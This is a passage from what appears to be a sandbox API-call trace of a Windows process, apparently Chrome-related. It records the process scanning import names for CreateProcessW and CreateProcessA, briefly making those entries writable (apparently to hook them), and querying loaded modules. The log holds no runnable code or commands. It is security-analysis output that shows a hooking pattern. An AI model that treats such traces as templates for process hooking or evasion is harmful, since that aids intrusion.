(lpString1="VirtualAlloc", lpString2="CreateProcessW") returned 1 [0079.383] lstrcmpiA (lpString1="MultiByteToWideChar", lpString2="CreateProcessW") returned 1 [0079.383] lstrcmpiA (lpString1="WideCharToMultiByte", lpString2="CreateProcessW") returned 1 [0079.383] lstrcmpiA (lpString1="GetModuleHandleW", lpString2="CreateProcessW") returned 1 [0079.383] lstrcmpiA (lpString1="GetVersionExW", lpString2="CreateProcessW") returned 1 [0079.383] lstrcmpiA (lpString1="GetNativeSystemInfo", lpString2="CreateProcessW") returned 1 [0079.383] lstrcmpiA (lpString1="ExpandEnvironmentStringsW", lpString2="CreateProcessW") returned 1 [0079.383] lstrcmpiA (lpString1="GetCommandLineW", lpString2="CreateProcessW") returned 1 [0079.383] lstrcmpiA (lpString1="LocalFree", lpString2="CreateProcessW") returned 1 [0079.383] lstrcmpiA (lpString1="Sleep", lpString2="CreateProcessW") returned 1 [0079.383] lstrcmpiA (lpString1="FileTimeToSystemTime", lpString2="CreateProcessW") returned 1 [0079.383] lstrcmpiA (lpString1="GetCurrentThread", lpString2="CreateProcessW") returned 1 [0079.383] lstrcmpiA (lpString1="QueryPerformanceFrequency", lpString2="CreateProcessW") returned 1 [0079.383] lstrcmpiA (lpString1="SystemTimeToTzSpecificLocalTime", lpString2="CreateProcessW") returned 1 [0079.383] lstrcmpiA (lpString1="GetSystemTimeAsFileTime", lpString2="CreateProcessW") returned 1 [0079.383] lstrcmpiA (lpString1="QueryPerformanceCounter", lpString2="CreateProcessW") returned 1 [0079.383] lstrcmpiA (lpString1="HeapCreate", lpString2="CreateProcessW") returned 1 [0079.383] lstrcmpiA (lpString1="HeapDestroy", lpString2="CreateProcessW") returned 1 [0079.383] lstrcmpiA (lpString1="WriteFile", lpString2="CreateProcessW") returned 1 [0079.383] lstrcmpiA (lpString1="CreateFileW", lpString2="CreateProcessW") returned -1 [0079.383] lstrcmpiA (lpString1="DeleteFileW", lpString2="CreateProcessW") returned 1 [0079.383] lstrcmpiA (lpString1="CloseHandle", lpString2="CreateProcessW") returned -1 [0079.383] lstrcmpiA (lpString1="GetLocalTime", lpString2="CreateProcessW") returned 1 [0079.383] lstrcmpiA (lpString1="GetCurrentDirectoryW", lpString2="CreateProcessW") returned 1 [0079.384] lstrcmpiA (lpString1="GetCurrentProcessId", lpString2="CreateProcessW") returned 1 [0079.384] lstrcmpiA (lpString1="FormatMessageA", lpString2="CreateProcessW") returned 1 [0079.384] lstrcmpiA (lpString1="GetTickCount", lpString2="CreateProcessW") returned 1 [0079.384] lstrcmpiA (lpString1="TerminateProcess", lpString2="CreateProcessW") returned 1 [0079.384] lstrcmpiA (lpString1="OpenProcess", lpString2="CreateProcessW") returned 1 [0079.384] lstrcmpiA (lpString1="GetExitCodeProcess", lpString2="CreateProcessW") returned 1 [0079.384] lstrcmpiA (lpString1="ReadFile", lpString2="CreateProcessW") returned 1 [0079.384] lstrcmpiA (lpString1="GetFileSizeEx", lpString2="CreateProcessW") returned 1 [0079.384] lstrcmpiA (lpString1="SetEndOfFile", lpString2="CreateProcessW") returned 1 [0079.384] lstrcmpiA (lpString1="GetFileInformationByHandle", lpString2="CreateProcessW") returned 1 [0079.384] lstrcmpiA (lpString1="SetFilePointerEx", lpString2="CreateProcessW") returned 1 [0079.384] lstrcmpiA (lpString1="FlushFileBuffers", lpString2="CreateProcessW") returned 1 [0079.384] lstrcmpiA (lpString1="ReleaseSRWLockExclusive", lpString2="CreateProcessW") returned 1 [0079.384] lstrcmpiA (lpString1="AcquireSRWLockExclusive", lpString2="CreateProcessW") returned -1 [0079.384] lstrcmpiA (lpString1="GetUserDefaultLangID", lpString2="CreateProcessW") returned 1 [0079.384] lstrcmpiA (lpString1="RegisterWaitForSingleObject", lpString2="CreateProcessW") returned 1 [0079.384] lstrcmpiA (lpString1="UnregisterWaitEx", lpString2="CreateProcessW") returned 1 [0079.384] lstrcmpiA (lpString1="CreateDirectoryW", lpString2="CreateProcessW") returned -1 [0079.384] lstrcmpiA (lpString1="QueryDosDeviceW", lpString2="CreateProcessW") returned 1 [0079.384] lstrcmpiA (lpString1="GetLongPathNameW", lpString2="CreateProcessW") returned 1 [0079.384] lstrcmpiA (lpString1="RemoveDirectoryW", lpString2="CreateProcessW") returned 1 [0079.384] lstrcmpiA (lpString1="GetTempPathW", lpString2="CreateProcessW") returned 1 [0079.384] lstrcmpiA (lpString1="GetFileAttributesW", lpString2="CreateProcessW") returned 1 [0079.384] lstrcmpiA (lpString1="UnmapViewOfFile", lpString2="CreateProcessW") returned 1 [0079.384] lstrcmpiA (lpString1="SetFileAttributesW", lpString2="CreateProcessW") returned 1 [0079.384] lstrcmpiA (lpString1="ReplaceFileW", lpString2="CreateProcessW") returned 1 [0079.384] lstrcmpiA (lpString1="CreateFileMappingW", lpString2="CreateProcessW") returned -1 [0079.384] lstrcmpiA (lpString1="MapViewOfFile", lpString2="CreateProcessW") returned 1 [0079.384] lstrcmpiA (lpString1="MoveFileW", lpString2="CreateProcessW") returned 1 [0079.384] lstrcmpiA (lpString1="GetSystemDirectoryW", lpString2="CreateProcessW") returned 1 [0079.384] lstrcmpiA (lpString1="GetWindowsDirectoryW", lpString2="CreateProcessW") returned 1 [0079.384] lstrcmpiA (lpString1="RaiseException", lpString2="CreateProcessW") returned 1 [0079.384] lstrcmpiA (lpString1="CreateThread", lpString2="CreateProcessW") returned 1 [0079.384] lstrcmpiA (lpString1="IsDebuggerPresent", lpString2="CreateProcessW") returned 1 [0079.384] lstrcmpiA (lpString1="HeapFree", lpString2="CreateProcessW") returned 1 [0079.384] lstrcmpiA (lpString1="HeapSize", lpString2="CreateProcessW") returned 1 [0079.384] lstrcmpiA (lpString1="HeapReAlloc", lpString2="CreateProcessW") returned 1 [0079.384] lstrcmpiA (lpString1="HeapAlloc", lpString2="CreateProcessW") returned 1 [0079.384] lstrcmpiA (lpString1="GetThreadId", lpString2="CreateProcessW") returned 1 [0079.384] lstrcmpiA (lpString1="SizeofResource", lpString2="CreateProcessW") returned 1 [0079.384] lstrcmpiA (lpString1="LockResource", lpString2="CreateProcessW") returned 1 [0079.385] lstrcmpiA (lpString1="LoadResource", lpString2="CreateProcessW") returned 1 [0079.385] lstrcmpiA (lpString1="FindResourceW", lpString2="CreateProcessW") returned 1 [0079.385] lstrcmpiA (lpString1="FindFirstFileW", lpString2="CreateProcessW") returned 1 [0079.385] lstrcmpiA (lpString1="FindFirstFileExW", lpString2="CreateProcessW") returned 1 [0079.385] lstrcmpiA (lpString1="FindNextFileW", lpString2="CreateProcessW") returned 1 [0079.385] lstrcmpiA (lpString1="FindClose", lpString2="CreateProcessW") returned 1 [0079.385] lstrcmpiA (lpString1="GetModuleHandleExW", lpString2="CreateProcessW") returned 1 [0079.385] lstrcmpiA (lpString1="FlushViewOfFile", lpString2="CreateProcessW") returned 1 [0079.385] lstrcmpiA (lpString1="RtlCaptureStackBackTrace", lpString2="CreateProcessW") returned 1 [0079.385] lstrcmpiA (lpString1="SetUnhandledExceptionFilter", lpString2="CreateProcessW") returned 1 [0079.385] lstrcmpiA (lpString1="TlsSetValue", lpString2="CreateProcessW") returned 1 [0079.385] lstrcmpiA (lpString1="TlsAlloc", lpString2="CreateProcessW") returned 1 [0079.385] lstrcmpiA (lpString1="TlsGetValue", lpString2="CreateProcessW") returned 1 [0079.385] lstrcmpiA (lpString1="TlsFree", lpString2="CreateProcessW") returned 1 [0079.385] lstrcmpiA (lpString1="HeapSetInformation", lpString2="CreateProcessW") returned 1 [0079.385] lstrcmpiA (lpString1="VirtualQuery", lpString2="CreateProcessW") returned 1 [0079.385] lstrcmpiA (lpString1="GetSystemInfo", lpString2="CreateProcessW") returned 1 [0079.385] lstrcmpiA (lpString1="GetProcessTimes", lpString2="CreateProcessW") returned 1 [0079.385] lstrcmpiA (lpString1="VirtualQueryEx", lpString2="CreateProcessW") returned 1 [0079.385] lstrcmpiA (lpString1="SetEvent", lpString2="CreateProcessW") returned 1 [0079.385] lstrcmpiA (lpString1="ResetEvent", lpString2="CreateProcessW") returned 1 [0079.385] lstrcmpiA (lpString1="LoadLibraryW", lpString2="CreateProcessW") returned 1 [0079.385] lstrcmpiA (lpString1="SetInformationJobObject", lpString2="CreateProcessW") returned 1 [0079.385] lstrcmpiA (lpString1="GetQueuedCompletionStatus", lpString2="CreateProcessW") returned 1 [0079.385] lstrcmpiA (lpString1="PostQueuedCompletionStatus", lpString2="CreateProcessW") returned 1 [0079.385] lstrcmpiA (lpString1="CreateIoCompletionPort", lpString2="CreateProcessW") returned -1 [0079.385] lstrcmpiA (lpString1="InitializeCriticalSectionAndSpinCount", lpString2="CreateProcessW") returned 1 [0079.385] lstrcmpiA (lpString1="DecodePointer", lpString2="CreateProcessW") returned 1 [0079.385] lstrcmpiA (lpString1="DeleteCriticalSection", lpString2="CreateProcessW") returned 1 [0079.385] lstrcmpiA (lpString1="CreateProcessW", lpString2="CreateProcessW") returned 0 [0079.385] VirtualProtect (in: lpAddress=0x13f5d3488, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x27ed50 | out: lpflOldProtect=0x27ed50*=0x2) returned 1 [0079.386] VirtualProtect (in: lpAddress=0x13f5d3488, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x27ed50 | out: lpflOldProtect=0x27ed50*=0x40) returned 1 [0079.386] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x241feb0 [0079.386] lstrcmpiA (lpString1="SignalInitializeCrashReporting", lpString2="CreateProcessA") returned 1 [0079.386] lstrcmpiA (lpString1="SignalChromeElf", lpString2="CreateProcessA") returned 1 [0079.386] lstrcmpiA (lpString1="GetInstallDetailsPayload", lpString2="CreateProcessA") returned 1 [0079.386] lstrcmpiA (lpString1="ImpersonateNamedPipeClient", lpString2="CreateProcessA") returned 1 [0079.386] lstrcmpiA (lpString1="SetEntriesInAclW", lpString2="CreateProcessA") returned 1 [0079.386] lstrcmpiA (lpString1="GetSecurityInfo", lpString2="CreateProcessA") returned 1 [0079.386] lstrcmpiA (lpString1="CreateWellKnownSid", lpString2="CreateProcessA") returned 1 [0079.386] lstrcmpiA (lpString1="RegQueryValueExW", lpString2="CreateProcessA") returned 1 [0079.386] lstrcmpiA (lpString1="RegDeleteValueW", lpString2="CreateProcessA") returned 1 [0079.386] lstrcmpiA (lpString1="RegOpenKeyExW", lpString2="CreateProcessA") returned 1 [0079.386] lstrcmpiA (lpString1="RegSetValueExW", lpString2="CreateProcessA") returned 1 [0079.386] lstrcmpiA (lpString1="RegCreateKeyExW", lpString2="CreateProcessA") returned 1 [0079.386] lstrcmpiA (lpString1="RegCloseKey", lpString2="CreateProcessA") returned 1 [0079.386] lstrcmpiA (lpString1="SystemFunction036", lpString2="CreateProcessA") returned 1 [0079.386] lstrcmpiA (lpString1="GetTokenInformation", lpString2="CreateProcessA") returned 1 [0079.386] lstrcmpiA (lpString1="OpenProcessToken", lpString2="CreateProcessA") returned 1 [0079.386] lstrcmpiA (lpString1="RegDisablePredefinedCache", lpString2="CreateProcessA") returned 1 [0079.386] lstrcmpiA (lpString1="RevertToSelf", lpString2="CreateProcessA") returned 1 [0079.386] lstrcmpiA (lpString1="GetLengthSid", lpString2="CreateProcessA") returned 1 [0079.386] lstrcmpiA (lpString1="SetKernelObjectSecurity", lpString2="CreateProcessA") returned 1 [0079.386] lstrcmpiA (lpString1="ConvertStringSecurityDescriptorToSecurityDescriptorW", lpString2="CreateProcessA") returned -1 [0079.386] lstrcmpiA (lpString1="GetKernelObjectSecurity", lpString2="CreateProcessA") returned 1 [0079.386] lstrcmpiA (lpString1="SetSecurityInfo", lpString2="CreateProcessA") returned 1 [0079.386] lstrcmpiA (lpString1="ConvertStringSidToSidW", lpString2="CreateProcessA") returned -1 [0079.386] lstrcmpiA (lpString1="SetTokenInformation", lpString2="CreateProcessA") returned 1 [0079.386] lstrcmpiA (lpString1="GetAce", lpString2="CreateProcessA") returned 1 [0079.386] lstrcmpiA (lpString1="GetSecurityDescriptorSacl", lpString2="CreateProcessA") returned 1 [0079.386] lstrcmpiA (lpString1="ConvertSidToStringSidW", lpString2="CreateProcessA") returned -1 [0079.386] lstrcmpiA (lpString1="CreateProcessAsUserW", lpString2="CreateProcessA") returned 1 [0079.386] lstrcmpiA (lpString1="SetThreadToken", lpString2="CreateProcessA") returned 1 [0079.387] lstrcmpiA (lpString1="DuplicateTokenEx", lpString2="CreateProcessA") returned 1 [0079.387] lstrcmpiA (lpString1="DuplicateToken", lpString2="CreateProcessA") returned 1 [0079.387] lstrcmpiA (lpString1="CreateRestrictedToken", lpString2="CreateProcessA") returned 1 [0079.387] lstrcmpiA (lpString1="EqualSid", lpString2="CreateProcessA") returned 1 [0079.387] lstrcmpiA (lpString1="LookupPrivilegeValueW", lpString2="CreateProcessA") returned 1 [0079.387] lstrcmpiA (lpString1="CopySid", lpString2="CreateProcessA") returned -1 [0079.387] lstrcmpiA (lpString1="GetThreadLocale", lpString2="CreateProcessA") returned 1 [0079.387] lstrcmpiA (lpString1="GetSystemDefaultLCID", lpString2="CreateProcessA") returned 1 [0079.387] lstrcmpiA (lpString1="GetModuleFileNameW", lpString2="CreateProcessA") returned 1 [0079.387] lstrcmpiA (lpString1="GetModuleHandleA", lpString2="CreateProcessA") returned 1 [0079.387] lstrcmpiA (lpString1="GetProcAddress", lpString2="CreateProcessA") returned 1 [0079.387] lstrcmpiA (lpString1="SetLastError", lpString2="CreateProcessA") returned 1 [0079.387] lstrcmpiA (lpString1="GetCurrentThreadId", lpString2="CreateProcessA") returned 1 [0079.387] lstrcmpiA (lpString1="CreateEventW", lpString2="CreateProcessA") returned -1 [0079.387] lstrcmpiA (lpString1="GetLastError", lpString2="CreateProcessA") returned 1 [0079.387] lstrcmpiA (lpString1="GetCurrentProcess", lpString2="CreateProcessA") returned 1 [0079.387] lstrcmpiA (lpString1="GetProcessId", lpString2="CreateProcessA") returned 1 [0079.387] lstrcmpiA (lpString1="WaitForSingleObject", lpString2="CreateProcessA") returned 1 [0079.387] lstrcmpiA (lpString1="DuplicateHandle", lpString2="CreateProcessA") returned 1 [0079.387] lstrcmpiA (lpString1="SetProcessShutdownParameters", lpString2="CreateProcessA") returned 1 [0079.387] lstrcmpiA (lpString1="SetCurrentDirectoryW", lpString2="CreateProcessA") returned 1 [0079.387] lstrcmpiA (lpString1="LoadLibraryExW", lpString2="CreateProcessA") returned 1 [0079.387] lstrcmpiA (lpString1="VirtualFree", lpString2="CreateProcessA") returned 1 [0079.387] lstrcmpiA (lpString1="VirtualAlloc", lpString2="CreateProcessA") returned 1 [0079.387] lstrcmpiA (lpString1="MultiByteToWideChar", lpString2="CreateProcessA") returned 1 [0079.387] lstrcmpiA (lpString1="WideCharToMultiByte", lpString2="CreateProcessA") returned 1 [0079.387] lstrcmpiA (lpString1="GetModuleHandleW", lpString2="CreateProcessA") returned 1 [0079.387] lstrcmpiA (lpString1="GetVersionExW", lpString2="CreateProcessA") returned 1 [0079.387] lstrcmpiA (lpString1="GetNativeSystemInfo", lpString2="CreateProcessA") returned 1 [0079.387] lstrcmpiA (lpString1="ExpandEnvironmentStringsW", lpString2="CreateProcessA") returned 1 [0079.387] lstrcmpiA (lpString1="GetCommandLineW", lpString2="CreateProcessA") returned 1 [0079.387] lstrcmpiA (lpString1="LocalFree", lpString2="CreateProcessA") returned 1 [0079.387] lstrcmpiA (lpString1="Sleep", lpString2="CreateProcessA") returned 1 [0079.387] lstrcmpiA (lpString1="FileTimeToSystemTime", lpString2="CreateProcessA") returned 1 [0079.387] lstrcmpiA (lpString1="GetCurrentThread", lpString2="CreateProcessA") returned 1 [0079.387] lstrcmpiA (lpString1="QueryPerformanceFrequency", lpString2="CreateProcessA") returned 1 [0079.387] lstrcmpiA (lpString1="SystemTimeToTzSpecificLocalTime", lpString2="CreateProcessA") returned 1 [0079.387] lstrcmpiA (lpString1="GetSystemTimeAsFileTime", lpString2="CreateProcessA") returned 1 [0079.387] lstrcmpiA (lpString1="QueryPerformanceCounter", lpString2="CreateProcessA") returned 1 [0079.387] lstrcmpiA (lpString1="HeapCreate", lpString2="CreateProcessA") returned 1 [0079.388] lstrcmpiA (lpString1="HeapDestroy", lpString2="CreateProcessA") returned 1 [0079.388] lstrcmpiA (lpString1="WriteFile", lpString2="CreateProcessA") returned 1 [0079.388] lstrcmpiA (lpString1="CreateFileW", lpString2="CreateProcessA") returned -1 [0079.388] lstrcmpiA (lpString1="DeleteFileW", lpString2="CreateProcessA") returned 1 [0079.388] lstrcmpiA (lpString1="CloseHandle", lpString2="CreateProcessA") returned -1 [0079.473] lstrcmpiA (lpString1="GetLocalTime", lpString2="CreateProcessA") returned 1 [0079.473] lstrcmpiA (lpString1="GetCurrentDirectoryW", lpString2="CreateProcessA") returned 1 [0079.473] lstrcmpiA (lpString1="GetCurrentProcessId", lpString2="CreateProcessA") returned 1 [0079.474] lstrcmpiA (lpString1="FormatMessageA", lpString2="CreateProcessA") returned 1 [0079.474] lstrcmpiA (lpString1="GetTickCount", lpString2="CreateProcessA") returned 1 [0079.474] lstrcmpiA (lpString1="TerminateProcess", lpString2="CreateProcessA") returned 1 [0079.474] lstrcmpiA (lpString1="OpenProcess", lpString2="CreateProcessA") returned 1 [0079.474] lstrcmpiA (lpString1="GetExitCodeProcess", lpString2="CreateProcessA") returned 1 [0079.478] lstrcmpiA (lpString1="ReadFile", lpString2="CreateProcessA") returned 1 [0079.478] lstrcmpiA (lpString1="GetFileSizeEx", lpString2="CreateProcessA") returned 1 [0079.478] lstrcmpiA (lpString1="SetEndOfFile", lpString2="CreateProcessA") returned 1 [0079.478] lstrcmpiA (lpString1="GetFileInformationByHandle", lpString2="CreateProcessA") returned 1 [0079.478] lstrcmpiA (lpString1="SetFilePointerEx", lpString2="CreateProcessA") returned 1 [0079.478] lstrcmpiA (lpString1="FlushFileBuffers", lpString2="CreateProcessA") returned 1 [0079.478] lstrcmpiA (lpString1="ReleaseSRWLockExclusive", lpString2="CreateProcessA") returned 1 [0079.478] lstrcmpiA (lpString1="AcquireSRWLockExclusive", lpString2="CreateProcessA") returned -1 [0079.478] lstrcmpiA (lpString1="GetUserDefaultLangID", lpString2="CreateProcessA") returned 1 [0079.478] lstrcmpiA (lpString1="RegisterWaitForSingleObject", lpString2="CreateProcessA") returned 1 [0079.478] lstrcmpiA (lpString1="UnregisterWaitEx", lpString2="CreateProcessA") returned 1 [0079.478] lstrcmpiA (lpString1="CreateDirectoryW", lpString2="CreateProcessA") returned -1 [0079.478] lstrcmpiA (lpString1="QueryDosDeviceW", lpString2="CreateProcessA") returned 1 [0079.478] lstrcmpiA (lpString1="GetLongPathNameW", lpString2="CreateProcessA") returned 1 [0079.478] lstrcmpiA (lpString1="RemoveDirectoryW", lpString2="CreateProcessA") returned 1 [0079.478] lstrcmpiA (lpString1="GetTempPathW", lpString2="CreateProcessA") returned 1 [0079.478] lstrcmpiA (lpString1="GetFileAttributesW", lpString2="CreateProcessA") returned 1 [0079.478] lstrcmpiA (lpString1="UnmapViewOfFile", lpString2="CreateProcessA") returned 1 [0079.479] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x241feb0 | out: hHeap=0x2020000) returned 1 [0079.479] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x241feb0 [0079.479] VirtualProtect (in: lpAddress=0x13f5d30c8, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x27ed50 | out: lpflOldProtect=0x27ed50*=0x2) returned 1 [0079.479] VirtualProtect (in: lpAddress=0x13f5d30c8, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x27ed50 | out: lpflOldProtect=0x27ed50*=0x40) returned 1 [0079.479] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x241ff20 [0079.479] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x241ff20 | out: hHeap=0x2020000) returned 1 [0079.479] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x77160000, lpBuffer=0x27ee10, dwLength=0x30 | out: lpBuffer=0x27ee10*(BaseAddress=0x77160000, AllocationBase=0x77160000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0079.479] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x27ed50, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x27ed50, ReturnLength=0x0) returned 0x0 [0079.479] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x77040000, lpBuffer=0x27ee10, dwLength=0x30 | out: lpBuffer=0x27ee10*(BaseAddress=0x77040000, AllocationBase=0x77040000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0079.479] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x27ed50, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x27ed50, ReturnLength=0x0) returned 0x0 [0079.479] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefd330000, lpBuffer=0x27ee10, dwLength=0x30 | out: lpBuffer=0x27ee10*(BaseAddress=0x7fefd330000, AllocationBase=0x7fefd330000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0079.479] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x27ed50, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x27ed50, ReturnLength=0x0) returned 0x0 [0079.480] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef4ab0000, lpBuffer=0x27ee10, dwLength=0x30 | out: lpBuffer=0x27ee10*(BaseAddress=0x7fef4ab0000, AllocationBase=0x7fef4ab0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0079.480] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x27ed50, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x27ed50, ReturnLength=0x0) returned 0x0 [0079.480] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x241ff20 [0079.480] VirtualProtect (in: lpAddress=0x7fef4b0e278, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x27ed50 | out: lpflOldProtect=0x27ed50*=0x2) returned 1 [0079.480] VirtualProtect (in: lpAddress=0x7fef4b0e278, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x27ed50 | out: lpflOldProtect=0x27ed50*=0x40) returned 1 [0079.480] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x231da90 [0079.480] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x231da90 | out: hHeap=0x2020000) returned 1 [0079.487] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x211fa90 [0079.487] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x211fa90 | out: hHeap=0x2020000) returned 1 [0079.489] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020a90 [0079.489] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020a90 | out: hHeap=0x2020000) returned 1 [0079.489] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefc270000, lpBuffer=0x27ee10, dwLength=0x30 | out: lpBuffer=0x27ee10*(BaseAddress=0x7fefc270000, AllocationBase=0x7fefc270000, AllocationProtect=0x80, __alignment1=0xfffffa80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0079.489] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x27ed50, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x27ed50, ReturnLength=0x0) returned 0x0 [0079.489] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020a90 [0079.489] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020a90 | out: hHeap=0x2020000) returned 1 [0079.489] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020a90 [0079.489] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020a90 | out: hHeap=0x2020000) returned 1 [0079.489] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020a90 [0079.489] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020a90 | out: hHeap=0x2020000) returned 1 [0079.489] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020a90 [0079.489] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020a90 | out: hHeap=0x2020000) returned 1 [0079.489] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefd670000, lpBuffer=0x27ee10, dwLength=0x30 | out: lpBuffer=0x27ee10*(BaseAddress=0x7fefd670000, AllocationBase=0x7fefd670000, AllocationProtect=0x80, __alignment1=0xfffffa80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0079.489] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x27ed50, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x27ed50, ReturnLength=0x0) returned 0x0 [0079.489] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020a90 [0079.490] VirtualProtect (in: lpAddress=0x7fefd6ea498, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x27ed50 | out: lpflOldProtect=0x27ed50*=0x2) returned 1 [0079.490] VirtualProtect (in: lpAddress=0x7fefd6ea498, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x27ed50 | out: lpflOldProtect=0x27ed50*=0x40) returned 1 [0079.490] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020b00 [0079.490] VirtualProtect (in: lpAddress=0x7fefd6ea490, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x27ed50 | out: lpflOldProtect=0x27ed50*=0x2) returned 1 [0079.490] VirtualProtect (in: lpAddress=0x7fefd6ea490, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x27ed50 | out: lpflOldProtect=0x27ed50*=0x40) returned 1 [0079.490] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020b70 [0079.491] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020b70 | out: hHeap=0x2020000) returned 1 [0079.491] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020b70 [0079.491] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020b70 | out: hHeap=0x2020000) returned 1 [0079.491] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7feff190000, lpBuffer=0x27ee10, dwLength=0x30 | out: lpBuffer=0x27ee10*(BaseAddress=0x7feff190000, AllocationBase=0x7feff190000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0079.491] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x27ed50, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x27ed50, ReturnLength=0x0) returned 0x0 [0079.491] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020b70 [0079.491] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020b70 | out: hHeap=0x2020000) returned 1 [0079.491] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020b70 [0079.491] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020b70 | out: hHeap=0x2020000) returned 1 [0079.491] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020b70 [0079.491] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020b70 | out: hHeap=0x2020000) returned 1 [0079.491] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020b70 [0079.491] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020b70 | out: hHeap=0x2020000) returned 1 [0079.491] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefe900000, lpBuffer=0x27ee10, dwLength=0x30 | out: lpBuffer=0x27ee10*(BaseAddress=0x7fefe900000, AllocationBase=0x7fefe900000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0079.491] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x27ed50, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x27ed50, 